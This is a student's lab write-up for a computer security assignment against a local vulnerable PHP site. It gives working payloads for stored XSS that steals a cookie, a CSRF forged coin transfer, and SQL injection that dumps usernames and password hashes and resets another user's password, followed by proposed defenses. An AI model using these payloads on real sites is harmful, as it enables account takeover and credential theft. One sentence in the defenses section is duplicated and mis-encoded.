# Proactive Computer Security
# Assignment 1

Nikolaj Dybdahl Rathcke (rfq695)

April 29, 2016

## 1 Part 1

### 1.1 Attack A

We want to steal the cookie of the user "rloewe". We will use a javascript injection that creates a POST-request which sends his cookie back to us, in a message we suspect he will open. The message we send him looks like this:

```
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/messages.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("user=you&headline=cookiesteal&message="+document.cookie+"&message_submit=Send");
</script>
```

What it does is that when the user clicks on the headline (named cookiesteal in the request, which it probably shouldn't be) it loads the message, which is snippet of javascript code. This code forges the POST-request which sends a message to the user "you", with message `document.cookie`. The cookie is rloewe's own as it is him who is logged in and therefore it looks like he sends it. We know what the request looks like simply by inspecting a "test" request.

### 1.2 Attack B

The HTML document can be found in `src/attackB`, but the code that performs the attack can be seen below. It is all placed in the body of the HTML document.

```
<form id="barbarbar" target="iframe" method="POST" action="http://localhost/transfer.php">
<input type="hidden" name="coins" value="10"/>
<input type="hidden" name="recipient" value="you"/>
<input type="hidden" name="submission" value="Send"/>
<input type="submit" value=""/>
</form>
<iframe name="iframe"></iframe>
<script type="text/javascript">
    document.getElementById('barbarbar').submit();
    window.location="http://yesimparanoid.com/";
</script>
```

To overcome the problem of not showing `localhost` in the URL at any time, I made use of `iframe`. It is a way to embed another document within the current HTML document. In the inline frame, we basically fill the data for the form on the page `/transfer.php` as we know what parameters is needed. Namely, we set the parameter `coins` to 10, the `recipient` to "you" as we want to send 10 coins to ourselves. Using javascript, we can automatically submit the filled form and to avoid any suspicion we instantly redirect them to `http://yesimparanoid.com/` on the subsequent line. As of submission time, the site looks down, which makes the attack quite obvious as it does not load anything. Obviously, we would need a working site to redirect to make the attack effective.

## 2 Part 2

The injection for getting a list of all user and their personal data is on the page `/messages.php`. By inspecting the source code, we can find the following SQL query:

```
$sql = "INSERT INTO Message (FromID, ToID, Headline, Message) " .
       " VALUES ('$from', '$to', '$headline', '$message')";
```

We exploit that we can make an SQL query as the headline parameter, the headline looks like this:

```
Usernames Passwords', (Select group_concat(Username, ' ', Password) From Person));#"
```

The headline itself is just "Usernames Passwords", but this is where we inject SQL query. We use `group_concat` to get all usernames and passwords from th etable "Person". We could get more personal data simply by listing more fields in the Person table. If we wanted to crack the passwords, we would need to take out the salt as well, but I have skipped this part as I do not see it as part of the task. To make sure the SQL statement is valid, we use the character "#" to comment out the rest of the SQL statement. The injection returns with the usernames and hashed passwords:

```
kflarsen 29006d99bd6d477664f43ee3a5dde925,
br0ns 54822fa5a4ea6ca8fea0ade431756664,
kokjo fe7ecc4de28b2c83c016b5c6c2acd826,
kristoff3r fe7ecc4de28b2c83c016b5c6c2acd826,
NicolaiNebel fe7ecc4de28b2c83c016b5c6c2acd826,
rloewe 7bfd638c108b8dba714aeb2e8349603c,
you 5a8441c3702aacd4103fd8675692f015
```

These are the users that are originally in the database. I excluded the accounts I made. For the second part of the task, to change the password of the user "br0ns", we made the injection on the page `/index.php`. If we inspect hte SQL query:

```
$sql = "UPDATE Person SET Profile='$profile' ".
       "WHERE PersonID=$user->id";
```

We see that we can in a similar manner exploit the SET part and outcommenting the WHERE part. This is done with the following SQL injection:

```
lemon squeez', Password='fd2f4fecfd71889b4f30ce07be1155c1', Salt='peaz'
WHERE Username='br0ns'#"
```

So what happens is that we give a parameter for the profile text ("lemon squeezy") and inject the field we want to set. In this case we want to set the password to "ez", but this parameter is given as the hashed password. Therefore we need to change the salt as well. We set this to "peaz" and by calculating the MD5 hash of "ezpeaz", we can insert the hashed password. Obviously, we need to do this for the user "br0ns", so update it for that username. We end by outcommenting the rest of the original query to make it valid. After doing this, I was able to login as "br0ns" with password "ez".

## 3 Part 3

One way to secure yourself (or minimize the risk for) against SQL injections is by using prepared statement. The idea is all SQL queries are already defined by the developer and the parameters are passed to the query later. Doing this ensures the database can distinguish between actual code and the parameters, which was the reason we could perform the exploits in part 2. If we look at the vulnerability we used to fetch users and their data:

```
$from = $user->id;
$to = $row["PersonID"];
$headline = $_POST["headline"];
$message = $_POST["message"];
$sql = "INSERT INTO Message (FromID, ToID, Headline, Message) " .
       " VALUES ('$from', '$to', '$headline', '$message')";
```

If we want this to make use of prepared statements, in MySQL, we could use `prepare()` function to prepare an SQL query with some connection `conn`:

```
$sql = $conn->prepare(" INSERT INTO Message (FromID, ToID, Headline, Message) " .
                      " VALUES (?, ?, ?, ?)");
```

Note that we use question marks in the position where we expect some kind of user input. Using the `bind_params()` in the following way:

```
$sql = bind_params("ssss", $from, $to, $headline, $message);
```

What it does is that it binds the parameters to the query. The first argument determines what kind of input we expect (in this case it is strings for all of them). When the database expects the input to be strings, we can try to avoid the SQL injections. To execute the query, we use something like:

```
$sql->execute();
```

There also exists function that does this for you if you want to avoid the tedious work of doing this everywhere you might make an SQL query.
To prevent attack A, we would need to do some HTML sanitization, that is, we could either have a whitelist which allows for HTML tags such as "¡b¿", "¡iTo prevent attack A, we would need to do some HTML sanitization, that is, we could either have a whitelist (or blacklist) which allows for HTML tags such as "¡b¿", "¡i¿" or "¡u¿", but not include tags such as the "¡script¿" that we used to to perform the attack. So in the case of the attack A, we would take the message to be send and strip it of non-legal tags. If we used a blacklist approach, we would strip it of illegal tags.
To prevent an attack B, one of the most common techniques is to generate a random token for each session. Whenever the user then makes a GET or POST request, the token is passed along as hidden output to validate that the input by comparing it with the user's session token. This means that if an attacker tries to forge a request, he would need to know the session token as well.

I have not actually implemented the proposed solutions, so the proposed security measures have not been tested either.